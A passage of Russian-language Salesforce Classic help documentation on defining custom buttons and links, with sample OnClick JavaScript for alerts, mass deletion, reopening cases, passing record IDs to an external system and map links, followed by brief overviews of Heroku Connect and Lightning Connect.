600 пикселам. См. раздел «Редактирование свойств открытия окна».

Алгоритм

Выберите URL-адрес, элемент S-Control, действие JavaScript или страницуVisualforce в качестве
содержимого кнопки или ссылки.

Система Salesforce проверяет правильность URL-адресов в настраиваемых ссылках и
настраиваемых кнопках. При создании или редактировании настраиваемых ссылок или

Источник содержимого

кнопок, содержащихнедопустимуюразметку URL-адреса (например, сценарии), отображение
ссылок блокируется, а взамен, отображается всплывающее сообщение об ошибке. Для
обеспечения действительности и корректности URL-адресов может потребоваться их
повторная настройка. URL-адрес может быть относительным или абсолютным адресом
http://, https://, file://, ftp:// или mailto://. Недопустимые URL-адреса в
настраиваемых ссылках или настраиваемых кнопках, созданных до выпуска Spring'13,
проверяются на правильность только при редактировании.

5389

Действия, настраиваемые кнопки и ссылкиРасширение Salesforce посредством интерактивных
инструментов



ОписаниеИмя атрибута

Введите содержимое кнопкиили ссылкидля кнопоки ссылок типа «URL-адрес» или «OnClick
JavaScript».

Содержимое

• Чтобы вставить поле, выберите нужный тип поля в раскрывающемся списке «Выбрать
тип поля», а затем выберите нужное поле в раскрывающемся списке «Вставить поле».

• Чтобы вставить поля слияния, используемые в действиях, выберите пункт «Событие»
или «Задача» в раскрывающемся списке «Выбрать тип поля».

• Чтобы вставить оператор, выберите соответствующий значок оператора в
раскрывающемся списке «Вставить оператор».

• Чтобы вставить функцию, дваждыщелкните ее имя в списке или выберите нужную
функцию ищелкните «Вставить выбраннуюфункцию». Чтобы отфильтровать
список функций, выберите нужную категорию в раскрывающемся списке «Функции».
Чтобы просмотреть описание и примерыформул, использующих даннуюфункцию,
выберите нужнуюфункцию ищелкните «Справка по этойфункции».

Совет: По стандартам Интернета URL-адреса должны использовать специальную
кодировку. Система Salesforce автоматически кодирует текст любого поля слияния,
добавленногов ссылку. Любойдополнительныйтекст, добавленныйвссылку, должен
кодироваться вручную. Например, чтобы создать следующий URL-адрес:

http://www.google.com/search?q={!user.name} Steve Mark 50%

Воспользуйтесь следующим содержимым:

http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Если поле «Источник содержимого» содержит URL-адрес, то система Salesforce
автоматически удаляет двойные кавычки из URL-адресов. Чтобы сохранить двойные
кавычки, рекомендуем кодировать их вручную. Например, чтобы создать URL-адрес
http://www.google.com/search?q="salesforce+foundation",
воспользуйтесь следующим содержимым:
http://www.google.com/search?q=%22salesforce+foundation%22.

Выберите кодировку. По умолчанию используется кодировка «Юникод (UTF-8)». Если
целевая ссылка требует использования данных в другом формате, измените стандартную

Кодировка ссылки

кодировку. Выбор кодировки доступен только в том случае, если параметр «Источник
содержимого» содержит значение «URL-адрес».
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Редактирование свойств открытия окна

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования свойств
настраиваемой кнопки или
ссылки:
• «Настройка

приложения»

Настраиваемые кнопки и ссылки могут открываться в окнах разного типа. Чтобы
открывать настраиваемую кнопку или ссылку во всплывающем окне, рекомендуем
настроить свойства окна. В противном случае настраиваемая кнопка или ссылка
использует стандартные параметры обозревателя пользователя.

Чтобы изменить свойства открытия окна, выполните указанные ниже действия.

1. Откройте страницу «Кнопки, ссылкиидействия» изпараметров управленияобъекта,
длякоторогонужноизменитькнопкуилиссылку. Настраиваемыекнопкинедоступны
для объекта «Пользователи».

2. Нажмите кнопку «Свойства открытия окна».

3. Измените перечисленные ниже свойства.

ОписаниеСвойство окна

Ширина всплывающего окна (в
пикселах).

Ширина

Высотавсплывающегоокна (впикселах).Высота

Область экрана, предназначенная для
открытия всплывающего окна.

Положение окна

Данное свойство разрешает
пользователям изменение размера
всплывающего окна.

Разрешить изменение размеров

Данное свойство отображает адресную
строку обозревателя, содержащую
URL-адрес.

Показать адресную строку

Данное свойство отображает полосы
прокрутки обозревателя во
всплывающем окне.

Показать полосы прокрутки

Данное свойство отображает панели
инструментовобозревателя. Какправило,

Показать панели инструментов

панели инструментов содержат кнопки
навигации (например, «Назад» и
«Вперед») и кнопку «Печать».

Данное свойство отображает меню
обозревателя. Как правило, меню
содержат команды «Файл» и «Правка».

Показать строку меню

Данное свойство отображает строку
состояния внизу обозревателя.

Показать строку состояния

Прим.: Доступностьнекоторыхсвойствопределяетсяалгоритмомнастраиваемойкнопкиилиссылки. Например,
при использовании алгоритма «Выполнить JavaScript» все свойства открытия окна недоступны.
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4. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Определение настраиваемых кнопок и ссылок

Поля слияния для настраиваемых кнопок и ссылок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии, кроме
Database.com Edition.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи.

Синтаксис и форматирование

Синтаксис поля слияния, добавленного в настраиваемую кнопку или ссылку, выглядит
следующимобразом: открывающаяфигурнаяскобка, восклицательныйзнак, имяобъекта,
точка, имя поля, закрывающая фигурная скобка.

{!Object_Name.Field_Name}

Чтобы гарантировать использование правильного синтаксиса, выберите поля слияния из раскрывающегося списка
редактора для настраиваемых кнопок и ссылок.

Советы

• Чтобывставитьполяслияния, используемыевдействиях, выберитепункт«Событие»или«Задача» враскрывающемся
списке «Выбрать тип поля».

• Чтобы добавить ссылки на боковую панель, воспользуйтесь стандартным компонентом начальной страницы
«Настраиваемые ссылки».

Внимание: Стандартный компонент начальной страницы «Настраиваемые ссылки» не поддерживает:

– Поля слияния

– Функции (например, URLFOR)

– Выполнение JavaScript
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– Настраиваемые свойства открытия окна

СМ. ТАКЖЕ:

Общие сведения о полях слияния

Рекомендации по использованию настраиваемых кнопок

Добавление стандартных настраиваемых ссылок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и изменения
настраиваемых ссылок:
• «Настройка

приложения»

1. Вразделепараметров управлениядля соответствующегообъектаперейдите враздел
«Кнопки, ссылки и действия» или в раздел «Кнопки и ссылки».

2. Щелкните «Стандартные настраиваемые ссылки».

3. Щелкните «Добавить сейчас!» напротив нужного образца ссылки.

4. При необходимости измените данные по умолчанию для ссылки.

5. Нажмите кнопку «Сохранить».

6. Изменитемакет страницысоответствующейвкладкидляотображенияновойссылки.

СМ. ТАКЖЕ:

Определение настраиваемых кнопок и ссылок
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Рекомендации по использованию настраиваемых кнопок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

При настройке макетов страниц пользователи могут контролировать отображаемые
стандартные и настраиваемые кнопки, а также порядок их отображения.

Советы по внедрению

• Настраиваемые кнопки отображаются справа от всех стандартных кнопок вверху и
внизу страницы сведений.

• Настраиваемые кнопки не отличаются графически от стандартных кнопок. Тем не
менее, пользователимогутраспознаватьнастраиваемыекнопкипоихрасположению
(справа от всех стандартных кнопок).

• Припревышениидопустимойшириныпанели кнопок в макете страницы сведений
обозреватель отображает горизонтальную полосу прокрутки. При превышении
допустимойшириныпанеликнопоквсписковомпредставлении, результатахпоиска,
результатах присвоения тегов или макетах связанных списков кнопки переносятся.

• Настраиваемыекнопкидоступныдлядействийприиспользованииотдельныхссылок
настройкидля задачи событий. Чтобыдобавитьнастраиваемуюкнопку в списковое
представление или макет поиска действий, создайте настраиваемую кнопку списка
для задач или событий. Затем добавьте данную кнопку в списковое представление
действий или макеты результатов поиска. При необходимости переопределите
кнопку, которая применяется к задачам и событиям.

• Записи организаций-лиц используют настраиваемые кнопки и ссылки, созданные
для организаций.

• Если организация использует вкладку «Консоль», то кнопки списка отображаются
раскрывающимся списком «Пакетное действие». Кнопки списка не отображаются
макетамимини-страниц. Страницы, открываемыепосредствомнастраиваемыхкнопок
и ссылок, отображаются на консоли без верхнего колонтитула или боковой панели.

• При отображении сообщения об ошибке во время переопределения кнопки,
отображающейся в списке, воспользуйтесь функцией URLFOR для вызова элемента
S-Control.

• Присозданиинастраиваемыхкнопокпомнитеоправилахпроверки, используемыхорганизациейдля записейданного
объекта. Например, настраиваемая кнопка списка, изменяющая статус обращения, может конфликтовать с правилом
проверкиобращения. Вданномсценариисистема Salesforceотображает сообщениеобошибке дляправилапроверки
при нажатии пользователем настраиваемой кнопки.

• Чтобы заменить стандартную кнопку настраиваемой кнопкой, определите настраиваемую кнопку и настройте макет
страницы путем скрытия стандартной кнопки и отображения настраиваемой кнопки.

• Страницы Visualforce, добавленные на начальную страницу в качестве настраиваемых ссылок, не могут использовать
контроллер.

• Страницы Visualforce, добавленные на страницы сведений в качестве настраиваемых кнопок или ссылок, должны
использовать стандартный контроллер того же объекта.

• Страницы Visualforce, добавленные в качестве настраиваемых кнопок списка, должны использовать стандартный
контроллер списка того же объекта.
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Рекомендации

• Рекомендуем осторожно использовать функцииформулы в настраиваемых кнопках. Функции выполняются на
сервере перед передачей HTML или JavaScript обозревателю, поэтому могут оценивать только информацию, которая
существуетна тотмомент. Рекомендуемизбегатьиспользованияфункций (например, IF) дляоценкиусловий, которые
существуюттолькоприпередачекодаобозревателю (например, значениепеременной JavaScript, возвращаемоекодом).

• Чтобызапретитьпользователювыполнениеотдельногодействия (например, созданиеилиредактирование), измените
полномочия пользователя (вместо скрытия стандартной кнопки). Скрытие стандартной кнопки инициирует ее
удаление из макета страницы, но сохраняет ссылку, позволяя пользователям открывать страницу создания или
редактирования вручную.

• Рекомендуем избегать выбора параметра «Отображать флажки (для выбора нескольких записей)» для кнопок
списка, ссылающихсяна URL-адрес, которыйнеподдерживаетоперации POST. Флажкиотображаютсянапротивзаписей
в списке при выборе параметра «Отображать флажки (для выбора нескольких записей)» как минимум для одной
кнопки списка. Тем не менее, нажатие настраиваемой кнопки списка, для которой данный параметр не выбран, не
влияет на выбранные записи в данном списке.

Ограничения

• В Lightning Experience не поддерживаются настраиваемые кнопки, вызывающие JavaScript.

• Настраиваемые кнопки с OnClick JavaScript в качестве источника содержимого не поддерживаются мобильным
приложением Salesforce1.

• Настраиваемыекнопкинедоступныдляфункций Web-to-Lead и Web-to-Case, связанного списка «Группы, работающие
с обращениями» и объекта «Пользователь».

СМ. ТАКЖЕ:

Определение настраиваемых кнопок и ссылок

Примеры настраиваемых кнопок и ссылок
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Переопределение стандартных кнопок и начальных страниц вкладок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Переопределения
Visualforce доступны в
версиях: Contact Manager
Edition, Group Edition и
Professional Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переопределения
стандартных кнопок и
начальных страниц вкладок:
• «Настройка

приложения»

Для сброса
переопределений кнопок и
начальных страниц вкладок:
• «Настройка

приложения»

Пользователь может переопределять алгоритм стандартных кнопок на страницах
сведенийозаписях. Крометого, пользователимогутпереопределятьначальныестраницы
вкладок, отображаемые при выборе вкладок стандартных, настраиваемых или внешних
объектов.

Переопределения кнопок являются глобальными. Например, переопределение кнопки
«Создать», используемой на страницах возможностей, инициирует ее замену во всех
соответствующих областях. Например:

• Начальная страница «Возможности».

• Любые связанные списки «Возможности», доступные в других объектах (например,
в организациях).

• Раскрывающийся список «Создать...» на боковой панели.

• Все закладки обозревателя для данной страницы Salesforce.

1. От параметров управления объектами для объекта, для которого нужно настроить
переопределение, перейдите к разделу «Кнопки, ссылки и действия».

2. Щелкните ссылку «Правка» напротив нужной кнопки или начальной страницы
вкладки.

3. Выберите нужный тип переопределения.

• «Без переопределения (по умолчанию)»: использование настраиваемого
переопределения, предоставленногоустановленнымпакетом. Еслиустановленные
пакеты отсутствуют, то используется стандартный алгоритм Salesforce.

• «Стандартная страница Salesforce»: данный параметр доступен только
подписчикам, переопределяющимдействиядля установленногонастраиваемого
объекта. Если данный параметр выбран, то используется стандартный алгоритм
Salesforce.

• «Настраиваемый элемент S-Control»: использование алгоритма для элемента
S-Control.

Важное замечание: Элементы S-Control заменены страницами Visualforce.
Элементы S-Control немогут быть созданыорганизациями, где они ранее не
использовались. Текущие элементы S-Control останутся без изменений и
будут доступны для редактирования.

• «Страница Visualforce»: использование режима работы страницы Visualforce.

4. Выберите имя нужного элемента S-Сontrol или страницы Visualforce.

Если страница Visualforce используется для переопределения кнопок, то пользователь может выбрать только ту
страницу Visualforce, которая содержит стандартный контроллер для объекта отображения кнопки. Например, если
страница используется для переопределения кнопки «Правка» для организаций, то разметка страницы должна
содержать атрибут standardController="Account" для тега <apex:page>.

<apex:page standardController="Account">

... page content here ...

</apex:page>
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Если страница Visualforce используется для переопределения вкладок, то пользователь может выбрать только ту
страницуVisualforce, которая содержитстандартныйконтроллерспискадляданнойвкладки, страницуснастраиваемым
контроллером или страницу без контроллера.

Если страница Visualforce используется для переопределения списков, то пользователь может выбрать только ту
страницу Visualforce, которая содержит стандартный контроллер списка.

Есликнопка «Создать»переопределяется спомощьюстраницыVisualforce, пользовательможетпропустить страницу
выбора типа записи. В случае активации этого параметра создаваемые пользователем новые записи не будут
пересылатьсяна страницувыбора типа записей. Salesforceпредполагает, чтовашастраницаVisualforce ужеобрабатывает
типы записей.

5. При необходимости введите комментарии о причине данного изменения.

6. Нажмите кнопку «Сохранить».

Прим.: Стандартная кнопка («Создать», «Правка», «Просмотр», «Удалить» или «Клонировать»), переопределенная
страницей Visualforce, отображается в приложении Salesforce1 только после включения страницы Visualforce для
мобильныхприложенийSalesforce. ПриложениеSalesforce1неподдерживаетпереопределениеэлементовуправления
для стандартных списков и вкладок.

СМ. ТАКЖЕ:

Удаление переопределений для стандартных кнопок и начальных страниц вкладок
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Удаление переопределений для стандартных кнопок и начальных страниц вкладок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Переопределения
Visualforce доступны в
версиях: Contact Manager
Edition, Group Edition и
Professional Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переопределения
стандартных кнопок и
начальных страниц вкладок:
• «Настройка

приложения»

Для сброса
переопределений кнопок и
начальных страниц вкладок:
• «Настройка

приложения»

1. Откройтестраницу «Кнопки, ссылкиидействия» посредствомпараметровуправления
объектом, для которого нужно изменить кнопку.

2. Нажмите кнопку «Правка» рядом со ссылкой на переопределяемую кнопку или
вкладку.

3. Установите переключатель «Без переопределения (по умолчанию)».

4. Нажмите кнопку «OK».

5398

Действия, настраиваемые кнопки и ссылкиРасширение Salesforce посредством интерактивных
инструментов



Просмотр ссылок на компоненты Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Настраиваемые компоненты
и страницы Visualforce
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

Для создания,
редактирования и удаления
настраиваемых компонентов
и страниц Visualforce:
• «Настройка

приложения»

Для клонирования,
редактирования или
удаления статических
ресурсов:
• «Настройка

приложения»

Пользовательможетпросмотретьсписоквсехобластейсистемы Salesforce, ссылающихся
на выбранный компонент. Например, пользовательможет просмотреть настраиваемые
ссылки, настраиваемыекнопкиилимакетыстраниц, ссылающиесяна другойкомпонент
(например, страница Visualforce или статический ресурс). Чтобы просмотреть области
использования, щелкните ссылку «Где это используется?» на странице сведений о
компоненте. Система Salesforce отображает типы компонентов, ссылающиеся на
компонент, иихметки. Чтобыпросмотреть элемент списка, щелкните нужный элемент.

СМ. ТАКЖЕ:

Определение настраиваемых кнопок и ссылок
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Примеры настраиваемых кнопок и ссылок

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать примеры настраиваемых кнопок и ссылок Salesforce для
определения их необходимости.

Чтобыначатьработуснастраиваемымикнопкамииссылками, воспользуйтесьпримерами
ниже.

• Отображение предупреждений

• Получение кодов записей

• Создание настраиваемой кнопки для выполнения пакетного удаления

• Передача кодов записей во внешнюю систему

• Повторное открытие обращений

• Международные карты

СМ. ТАКЖЕ:

Определение настраиваемых кнопок и ссылок
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Отображение предупреждений

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Нижеприведенпримерсозданиякнопки, открывающейвсплывающеедиалоговоеокно,
которое содержит персональное приветственное сообщение.

1. Определите кнопку посредством перечисленных ниже атрибутов.

• «Тип отображения»: «Кнопка страницы сведений»

• «Алгоритм»: «Выполнить JavaScript»

• «Источник содержимого»: «OnClick JavaScript»

• Воспользуйтесь примером кода ниже.

alert ("Hello {!$User.FirstName}");

2. Добавьте кнопку в соответствующий макет страницы.

СМ. ТАКЖЕ:

Примеры настраиваемых кнопок и ссылок
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Получение кодов записей

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведен пример создания кнопки, открывающей всплывающее окно, которое
содержиткодывыбранныхпользователемзаписей. Данныйпримерможетиспользоваться
для тестирования правильности кодов записей до их последующей обработки.

1. Определите кнопку посредством перечисленных ниже атрибутов.

• «Тип отображения»: «Кнопка списка»

Прим.: Чтобы разрешить пользователям выбор нескольких записей из
списка, установите флажок «Отображатьфлажки (для выбора
нескольких записей)».

• «Алгоритм»: «Выполнить JavaScript»

• «Источник содержимого»: «OnClick JavaScript»

• Воспользуйтесь примером кода ниже.

idArray = {!GETRECORDIDS($ObjectType.Contact)};
alert("The Ids you have selected are: "+idArray);

Прим.: Данный пример предназначен для контактов. При необходимости измените тип объекта.

2. Добавьте кнопку в соответствующий связанный список макета страницы или спискового представления.

СМ. ТАКЖЕ:

Примеры настраиваемых кнопок и ссылок
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Создание настраиваемой кнопки для выполнения пакетного удаления

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведен пример создания кнопки, которая может быть добавлена в связанные
спискиисписковыепредставлениядействийдляпакетногоудалениявыбранныхзаписей.

1. Определите кнопку для событий посредством перечисленных ниже атрибутов.

• «Тип отображения»: «Кнопка списка»

Прим.: Чтобы разрешить пользователям выбор нескольких записей из
списка, установите флажок «Отображатьфлажки (для выбора
нескольких записей)».

• «Алгоритм»: «Выполнить JavaScript»

• «Источник содержимого»: «OnClick JavaScript»

• Воспользуйтесь примером кода ниже.

{!REQUIRESCRIPT("/soap/ajax/9.0/connection.js")}

var records = {!GETRECORDIDS( $ObjectType.Event )};
var taskRecords = {!GETRECORDIDS( $ObjectType.Task)};
records = records.concat(taskRecords);

if (records[0] == null) {
alert("Please select at least one record.") }
else {

var errors = [];
var result = sforce.connection.deleteIds(records);
if (result && result.length){
var numFailed = 0;
var numSucceeded = 0;
for (var i = 0; i < result.length; i++){
var res = result[i];
if (res && res.success == 'true'){
numSucceeded++;
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} else {
var es = res.getArray("errors");
if (es.length > 0) {
errors.push(es[0].message);
}
numFailed++;
}
}
if (numFailed > 0){
alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " +
errors.join("\n"));
} else {
alert("Number of records deleted: " + numSucceeded);
}
}
window.location.reload();
}

2. Добавьте кнопку в списковые представления действий.

3. Добавьте кнопку в любой макет страницы, содержащий связанный список действий. Данная кнопка удаляет любую
выбранную задачу или событие из списка.

Чтобы установить настраиваемые кнопки, воспользуйтесь приложением Mass Delete из каталога
http://sites.force.com/appexchange.

СМ. ТАКЖЕ:

Примеры настраиваемых кнопок и ссылок
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Передача кодов записей во внешнюю систему

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Коды записей Salesforce могут использоваться как уникальные идентификаторы,
предназначенныедляинтеграциивовнешнейсистеме. Нижеприведенпримерсоздания
кнопки, вызывающейстраницуVisualforceдляопределенияипередачикодов выбранных
записей в параметре URL-запроса на внешнюю веб-страницу
www.yourwebsitehere.com.

1. СоздайтестраницуVisualforce, использующуюфункциюGETRECORDIDSдляизвлечения
списка выбранных записей.

<script type="text/javascript">

idArray = {!GETRECORDIDS($ObjectType.Account)};

window.location.href="http://www.yourwebsitehere.com?array="+idArray;

</script>

Прим.: Замените www.yourwebsitehere.com собственным URL-адресом.

2. Определите кнопку для организаций посредством перечисленных ниже атрибутов.

• «Тип отображения»: «Кнопка списка»

Прим.: Чтобы разрешить пользователям выбор нескольких записей из списка, установите флажок
«Отображатьфлажки (для выбора нескольких записей)».

• «Алгоритм»: «Отобразить в текущем окне с боковой панелью»

• «Источник содержимого»: «Страница Visualforce»

• Выберите страницу Visualforce, созданную в первом действии.
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3. Добавьте кнопку в соответствующий макет страницы или спискового представления.

СМ. ТАКЖЕ:

Примеры настраиваемых кнопок и ссылок

Повторное открытие обращений

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведен пример создания кнопки, которая может быть добавлена в связанные
списки обращений для повторного пакетного открытия обращений, связанных с
возможностью.

1. Определите кнопку для обращений посредством перечисленных ниже атрибутов.

• «Тип отображения»: «Кнопка списка»

Прим.: Чтобы разрешить пользователям выбор нескольких записей из
списка, установите флажок «Отображатьфлажки (для выбора
нескольких записей)».

• «Алгоритм»: «Выполнить JavaScript»

• «Источник содержимого»: «OnClick JavaScript»

• Воспользуйтесь примером кода ниже.

{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records =
{!GETRECORDIDS($ObjectType.Sample)}; var newRecords = []; if

(records[0] == null) { alert("Please select at least one row") } else {
for (var n=0; n<records.length; n++) { var c = new

sforce.SObject("Case"); c.id = records[n]; c.Status = "New";
newRecords.push(c); } result = sforce.connection.update(newRecords);

window.location.reload(); }

Прим.: Данныйпримерссылаетсянаинструментарий AJAX Toolkit, которыйдоступентолькопослевключения
API-доступа. См. страницу https://developer.salesforce.com/page/Integration.

2. Чтобы добавить кнопку в макеты страниц возможностей, измените связанный список «Обращения».
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Совет: Данная кнопка может использоваться в любом макете страницы, содержащем связанный список
«Обращения» (например, макеты страниц организаций или контактов).

Прим.: Убедитесь в наличии условия records[0] == null, которое отображает пользователям сообщение о
необходимости выбора как минимум одной записи из списка.

СМ. ТАКЖЕ:

Примеры настраиваемых кнопок и ссылок

Международные карты

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Страницы Visualforce и
элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведен пример создания ссылки, отображающей карту Google определенной
страны.

1. Определите ссылку для организаций посредством перечисленных ниже атрибутов.

• «Тип отображения»: «Ссылка страницы сведений»

• «Алгоритм»: «Отобразить в новом окне»

• «Источник содержимого»: «URL-адрес»

• Воспользуйтесь примером кода ниже.

{!
IF(Sample.BillingCountry = "US",
"http://maps.google.com/maps?q="&Sample.BillingStreet&
"+"&Sample.BillingCity&"+"&Sample.BillingState&"+"&Sample.BillingCountry,
(IF(Sample.BillingCountry = "UK",
"http://maps.google.co.uk/maps?q="&Sample.BillingStreet
&"+"&Sample.BillingCity&"+"&Sample.BillingCountry,
"http://maps.google.com")))
}
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2. Добавьте ссылку в макет страницы организаций.

СМ. ТАКЖЕ:

Примеры настраиваемых кнопок и ссылок

Интеграция внешних данных

Синхронизация данных между Salesforce и Heroku Postgres посредством Heroku
Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Heroku Connect позволяет синхронизировать данные между Salesforce и Heroku Postgres.

Использование Heroku Connect позволяет разрабатывать приложения Heroku,
взаимодействующие с данными Salesforce посредством избранного языка (например,
Ruby, Node.js, Python, PHP, Java, Scala или Clojure) иливеб-инфраструктуры (например, Rails,
Django или Play). Дополнительную информацию см. на веб-сайте Heroku Connect

и в документации Heroku Connect на веб-сайте Heroku Dev Center.

Доступ к внешним данным посредством Lightning Connect

Lightning Connect

Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Lightning Connect обеспечивает полную интеграцию данных во всей системе за счет
предоставления пользователям возможности просмотра, поиска и редактирования
данных, хранящихся вне организации Salesforce. Например, организация может
использоватьданные, хранящиесявлокальнойсистемепланированиябизнес-ресурсов.
Взаменкопированияданныхворганизациюрекомендуемиспользоватьвнешниеобъекты
для доступа к данным в режиме реального времени посредством выносок веб-служб.

Какправило, мырекомендовалиимпортироватьиликопироватьданныеворганизацию
Salesforce дляпредоставленияпользователямдоступа к данным. Например, инструменты
извлечения, трансформации и загрузки могут объединять систему Salesforce со
сторонними системами. Однако, данный алгоритм инициирует копирование данных,
которые могут быть ненужными или устаревшими.

Для сравнения, Lightning Connect соотносит внешние объекты Salesforce с таблицамиданных
во внешних системах. Взамен копирования данных в организацию, Lightning Connect
предоставляет доступ к данным по запросу в режиме реального времени. Данный
алгоритм гарантирует отображение только актуальных и нужных данных. Рекомендуем
использовать Lightning Connect при выполнении указанных ниже условий.

• Наличие большого объема данных, которые не подлежат копированию в организацию Salesforce.

• Необходимость одновременного просмотра небольшого объема данных.

• Необходимость доступа к последним данным в режиме реального времени.
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Несмотря на хранение данных вне организации, Lightning Connect поддерживает беспрепятственную интеграцию с
платформой Force.com. Внешние объекты доступныинструментам Salesforce (например, глобальныйпоиск, взаимосвязи
поиска, ленты записей) и приложению Salesforce1. Внешние объекты также доступны запросам Apex, SOSL и SOQL,
интерфейсам Salesforce API и процессам развертывания посредствомMetadata API, наборов изменений или пакетов.

Допустим, организация хранит сведения о заказах в служебной системе планирования бизнес-ресурсов. Пользователю
требуется просмотреть данные заказы в виде связанного списка для каждой записи клиента в организации Salesforce.
Благодаря Lightning Connect, пользовательможет настроить взаимосвязь поиска между (родительским) объектом клиента
и (дочерним) внешним объектом для заказов. Затем пользователь может настроить макеты страниц для родительского
объекта с целью добавления связанного списка, отображающего дочерние записи.

Крометого, пользователимогутобновлять заказынепосредственноиз связанногосписка в записиклиента. Поумолчанию
записи, основанныена внешнихобъектах, доступнытолькодлячтения. Темнеменее внешниеисточникиданныхможно
сделать доступными для записи, что позволяет пользователям создавать, редактировать и удалять записи, основанные на
внешних объектах из таких источников.

Прим.: Вы можете создать разрешение на запись во внешние объекты, только если используется адаптер OData
